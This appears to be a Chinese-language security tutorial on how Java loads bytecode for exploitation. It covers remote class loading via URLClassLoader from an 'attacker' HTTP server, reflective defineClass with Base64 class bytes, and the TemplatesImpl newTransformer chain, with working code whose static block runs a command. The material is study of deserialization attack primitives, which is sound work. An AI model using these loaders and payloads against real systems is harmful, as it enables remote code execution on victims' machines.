Java字节码
java字节码其实仅仅指的事java虚拟机执行使用的一类指令,通常被存储在.class文件中
他是java程序编译后生成的一种中间表示形式,是介于机器码和源代码之间的可移植指令集,因为java程序执行不依赖具体操作系统或硬件架构,而是通过JVM来解释执行或编译的
你甚至可以使用kotlin等等非java的语言编写程序,只要你的编译器能将其编译成.class文件,他们都可以在JVM上运行
因此广义来说,所有能够恢复成一个类并且在JVM虚拟机里加载的字节序列,都在我们的探讨范围内
这里贴一张P神的图
利用URLClassLoader加载远程class文件
ClassLoader是来用来加载字节码文件最基础的方法
对于ClassLoader,它是java的一个核心类,用于动态加载到JVM中,实现了类的延迟加载和类的灵活加载机制,在java中,他负责
- 找到.class文件
- 将其加载到JVM中
- 将字节码转换成Java类的Class对象
在此我们研究ClassLoader: URLClassLoader
URLClassLoader就是java提供的一个非常常用的类加载器,可以通过URL来动态加载类或jar包中的类,他作为ClassLoader的一个子类
正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这 些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
- URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻 找.class文件
- URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻 找.class文件
- URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类
一般而言,我们开发的时候都是用的前两者,而如果出现非file协议的情况,比如http协议,我们就会使用Loader来寻找类
我们来构造一个恶意类
package URLClassEx;
public class Cale {
public static void main(String[] args) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
本地编译好.class文件,然后我们起一个服务
python -m http.server 8000
写一个受害者端加载远程恶意类的代码
package URLClassEx;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class URLLoader {
public static void main(String[] args) throws Exception {
// 攻击者的HTTP地址
URL url = new URL("http://127.0.0.1:8000/");
URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
// 加载类
Class<?> clazz = classLoader.loadClass("URLClassEx.Cale");
// 调用 main 方法(或构造方法)
Method mainMethod = clazz.getMethod("main", String[].class);
mainMethod.invoke(null, (Object) new String[]{});
}
}
所以作为攻击者,如果我们可以控制javaClassLoader的基础路径作为一个http服务器,就可以利用远程加载的方式执行任意代码
利用defineClass直接加载字节码
不管是加 载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用:
loadClass
的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行findClass
findClass
的作用是根据基础URL指定的方式来加载类的字节码,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass
- defineClass的作用是处理前面传入的字节码,将其处理成真正的java类
可见核心部分就是defineClass,他决定了如何将一段字节流转变成一个java类,java默认的ClassLoader#defineClass是一个native方法,其逻辑在JVM的C语言代码中,由于其是一个受保护属性,我们需要反射去调用他
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
public class defineClass {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
}
}
1. 类加载与初始化的时机
在 Java 中,类的加载(通过 defineClass
等方式)并不会立即初始化类。只有当类的构造方法被显式调用时,类才会被初始化。初始化包括执行 静态代码块(static
块)和为静态字段赋值。
2. defineClass
加载类
defineClass
只负责将字节码加载到 JVM 中,并为该类创建一个 Class
对象。它不会自动执行类的初始化代码(如静态代码块、静态字段初始化)
在 defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造 函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中(在本系列文章第一篇 中进行过说明),在 defineClass 时也无法被直接调用到
但是在实际中我们很少能利用到他
利用TemplatesImpl加载字节码
defineClass过于底层,一般的开发者也用不到它,不过Java的一些类还是用到了它,那就是TemplatesImpl
其中Templateslmpl,定义了TransletClassLoader,而它重写了defineClass
static final class TransletClassLoader extends ClassLoader {
private final Map<String, Class<?>> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent, Map<String, Class<?>> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class<?> defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
没有定义域,所以从父类protected变成了default,可以被实现了该接口的类或者子类调用,我们回溯调用链,可以看到
通过回跟,这里TemplatesImpl#defineTransletClasses(),但是是private的,继续跟
这里getTransletClasses()
调用了defineTransletClasses()
,但依旧是一个private
,继续跟
在这看到public的new TransFormer调用了getTransletlnstance,可以在外部被调用
所以链子就是
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()
写一个Dome
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class dsa1 {
public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, Value);
}
public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAMgoACgAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMHACQHACUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAJgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAY8aW5pdD4BAAMoKVYBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACMBAApTb3VyY2VGaWxlAQAIYXNkLmphdmEMABIAEwcAJwwAKAApAQATSGVsbG8gVGVtcGxhdGVzSW1wbAcAKgwAKwAsBwAtDAAuAC8BAAhjYWxjLmV4ZQwAMAAxAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAD29yZy9leGFtcGxlL2FzZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAAEAAEACwAMAAIADQAAABkAAAADAAAAAbEAAAABAA4AAAAGAAEAAAAKAA8AAAAEAAEAEAABAAsAEQACAA0AAAAZAAAABAAAAAGxAAAAAQAOAAAABgABAAAADAAPAAAABAABABAAAQASABMAAQANAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEADgAAAA4AAwAAAA4ABAAPAAwAEAAIABQAEwABAA0AAABDAAIAAQAAAA64AAUSBrYAB1enAARLsQABAAAACQAMAAgAAgAOAAAADgADAAAAEwAJABQADQAVABUAAAAHAAJMBwAWAAABABcAAAACABg=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
}
解释,其中setFieldValue
方法用来设置私有属性,这里设置了三个属性_bytecodes
、_name
和_tfactory
_bytecodes
是由字节码组成的数组;_name
可以是任意字符串,只要不为null即可;_tfactory
需要是一个 TransformerFactoryImpl
对象,因为TemplatesImpl#defineTransletClasses()
方法里有调用到 _tfactory.getExternalExtensionsMap()
,如果是null
会出错
TemplatesImpl
中对加载的字节码是有一定要求的:这个字节码对应的类必须 是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类 所以需要构造一个特殊类
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class asd extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public asd() {
super();
System.out.println("Hello TemplatesImpl");
}
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
}